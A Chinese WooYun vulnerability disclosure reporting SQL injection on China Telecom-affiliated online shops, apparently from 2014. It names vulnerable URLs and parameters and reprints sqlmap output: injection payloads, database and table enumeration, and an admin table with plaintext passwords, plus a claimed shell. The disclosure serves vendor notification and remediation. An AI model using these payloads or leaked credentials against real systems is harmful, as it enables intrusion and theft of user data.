当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078544

漏洞标题：电信某商城SQL注入漏洞直接获取root

相关厂商：中国电信

漏洞作者： 老和尚

提交时间：2014-10-10 14:37

修复时间：2014-11-24 14:38

公开时间：2014-11-24 14:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-10： 细节已通知厂商并且等待厂商处理中
2014-10-14： 厂商已经确认，细节仅向厂商公开
2014-10-24： 细节向核心白帽子及相关领域专家公开
2014-11-03： 细节向普通白帽子公开
2014-11-13： 细节向实习白帽子公开
2014-11-24： 细节向公众公开

简要描述：

老和尚：电信施主，你东西掉了
电信:啥子东西哟
老和尚;一大堆洞洞
电信:卧槽。帮我捡一下
老和尚:出家人慈悲为怀，不贵。998
电信:你大爷，咱们乌云见.....

详细说明：

漏洞存在页面:http://www.yiliangoo.com/search.php?g=0&b=0&c=&s=0&k=%27
还有北京翼商城的已经发出来漏洞,也没有修复我也列出来了。
http://www.ego10000.com/search.php?b=687&c=1'%22&g=703
http://www.ego10000.com/ajax_check_user.php?email=
在附上一个爆路径：http://ego10000.com/includes/footer.php
存在注入参数是:c
1.。直接注入出来数据之后呢。然后用

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: email
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: email=1%' RLIKE (SELECT (CASE WHEN (4400=4400) THEN 1 ELSE 0x28 END
)) AND '%'='
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: email=1%' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT(0x7176717171
,(SELECT (CASE WHEN (2861=2861) THEN 1 ELSE 0 END)),0x716c617271,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: email=1%' AND 1288=BENCHMARK(5000000,MD5(0x4b6e6c79)) AND '%'='
---
[10:41:29] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0
[10:41:29] [INFO] fetching database names
[10:41:29] [WARNING] reflective value(s) found and filtering out
[10:41:29] [INFO] the SQL query used returns 11 entries
[10:41:29] [INFO] retrieved: information_schema
[10:41:29] [INFO] retrieved: dspam
[10:41:29] [INFO] retrieved: ego10000
[10:41:30] [INFO] retrieved: ego10000_bak
[10:41:30] [INFO] retrieved: extmail
[10:41:30] [INFO] retrieved: hallylure
[10:41:30] [INFO] retrieved: mysql
[10:41:30] [INFO] retrieved: shopstit
[10:41:30] [INFO] retrieved: stit_v3
[10:41:30] [INFO] retrieved: test
[10:41:30] [INFO] retrieved: ybzdb
available databases [11]:
[*] dspam
[*] ego10000
[*] ego10000_bak
[*] extmail
[*] hallylure
[*] information_schema
[*] mysql
[*] shopstit
[*] stit_v3
[*] test
[*] ybzdb
[10:41:30] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.yiliangoo.com'
[*] shutting down at 10:41:30
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: email
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: email=1%' RLIKE (SELECT (CASE WHEN (4400=4400) THEN 1 ELSE 0x28 END
)) AND '%'='
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: email=1%' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT(0x7176717171
,(SELECT (CASE WHEN (2861=2861) THEN 1 ELSE 0 END)),0x716c617271,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: email=1%' AND 1288=BENCHMARK(5000000,MD5(0x4b6e6c79)) AND '%'='
---
[10:53:22] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0
[10:53:22] [INFO] fetching tables for database: 'stit_v3'
[10:53:22] [WARNING] reflective value(s) found and filtering out
[10:53:22] [INFO] the SQL query used returns 45 entries
[10:53:23] [INFO] retrieved: act_award_info
[10:53:23] [INFO] retrieved: act_user_award_info
[10:53:23] [INFO] retrieved: activityinfo
[10:53:23] [INFO] retrieved: ad_info
[10:53:23] [INFO] retrieved: admingroup
[10:53:23] [INFO] retrieved: adminmenu
[10:53:23] [INFO] retrieved: adminuser
[10:53:23] [INFO] retrieved: ask_goods_info
[10:53:24] [INFO] retrieved: attribute_class_info
[10:53:24] [INFO] retrieved: attribute_class_select_value_info
[10:53:24] [INFO] retrieved: attribute_value_info
[10:53:27] [INFO] retrieved: class_info
[10:53:27] [INFO] retrieved: create_html
[10:53:27] [INFO] retrieved: dispatch_mode_info
[10:53:27] [INFO] retrieved: dispatch_pay_mutuality_info
[10:53:30] [INFO] retrieved: gift_info
[10:53:30] [INFO] retrieved: gift_order
[10:53:30] [INFO] retrieved: goods_fav
[10:53:30] [INFO] retrieved: goods_fitting_mutuality_info
[10:53:30] [INFO] retrieved: goods_image_info
[10:53:30] [INFO] retrieved: goods_info
[10:53:30] [INFO] retrieved: goods_more_info
[10:53:31] [INFO] retrieved: goods_mutuality_info
[10:53:31] [INFO] retrieved: goods_taocan
[10:53:31] [INFO] retrieved: goods_taocan_attr
[10:53:32] [INFO] retrieved: goods_taocan_value
[10:53:32] [INFO] retrieved: gp_class
[10:53:32] [INFO] retrieved: news
[10:53:32] [INFO] retrieved: notice
[10:53:32] [INFO] retrieved: order_detail_info
[10:53:33] [INFO] retrieved: order_info
[10:53:33] [INFO] retrieved: order_network
[10:53:33] [INFO] retrieved: rcmdgoods
[10:53:33] [INFO] retrieved: repair
[10:53:33] [INFO] retrieved: search_log
[10:53:36] [INFO] retrieved: shop_basket
[10:53:39] [INFO] retrieved: sms
[10:53:39] [INFO] retrieved: tel_number
[10:53:39] [INFO] retrieved: tel_taocan_value
[10:53:40] [INFO] retrieved: tel_type
[10:53:40] [INFO] retrieved: tel_type_template
[10:53:40] [INFO] retrieved: tel_type_template_attr
[10:53:40] [INFO] retrieved: telnumber
[10:53:40] [INFO] retrieved: usercent
[10:53:40] [INFO] retrieved: userinfo
Database: stit_v3
[45 tables]
+-----------------------------------+
| act_award_info                    |
| act_user_award_info               |
| activityinfo                      |
| ad_info                           |
| admingroup                        |
| adminmenu                         |
| adminuser                         |
| ask_goods_info                    |
| attribute_class_info              |
| attribute_class_select_value_info |
| attribute_value_info              |
| class_info                        |
| create_html                       |
| dispatch_mode_info                |
| dispatch_pay_mutuality_info       |
| gift_info                         |
| gift_order                        |
| goods_fav                         |
| goods_fitting_mutuality_info      |
| goods_image_info                  |
| goods_info                        |
| goods_more_info                   |
| goods_mutuality_info              |
| goods_taocan                      |
| goods_taocan_attr                 |
| goods_taocan_value                |
| gp_class                          |
| news                              |
| notice                            |
| order_detail_info                 |
| order_info                        |
| order_network                     |
| rcmdgoods                         |
| repair                            |
| search_log                        |
| shop_basket                       |
| sms                               |
| tel_number                        |
| tel_taocan_value                  |
| tel_type                          |
| tel_type_template                 |
| tel_type_template_attr            |
| telnumber                         |
| usercent                          |
| userinfo                          |
+-----------------------------------+
[10:53:40] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.yiliangoo.com'
[*] shutting down at 10:53:40


Table: adminuser
[5 entries]
+----------+--------------+
| username | userpassword |
+----------+--------------+
| jon      | 111          |
| wlj      | 111          |
| ??       | 123          |
| ???      | 123          |
| ???      | 123          |
+----------+--------------+


漏洞证明：

已GETSHELL

QQ图片20140407140909.jpg


QQ图片20140407140957.jpg


修复方案：

过滤参数,密码修改复杂一点,多注重下安全把。

版权声明：转载请注明来源 老和尚@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2014-10-14 17:38

厂商回复：

最新状态：

暂无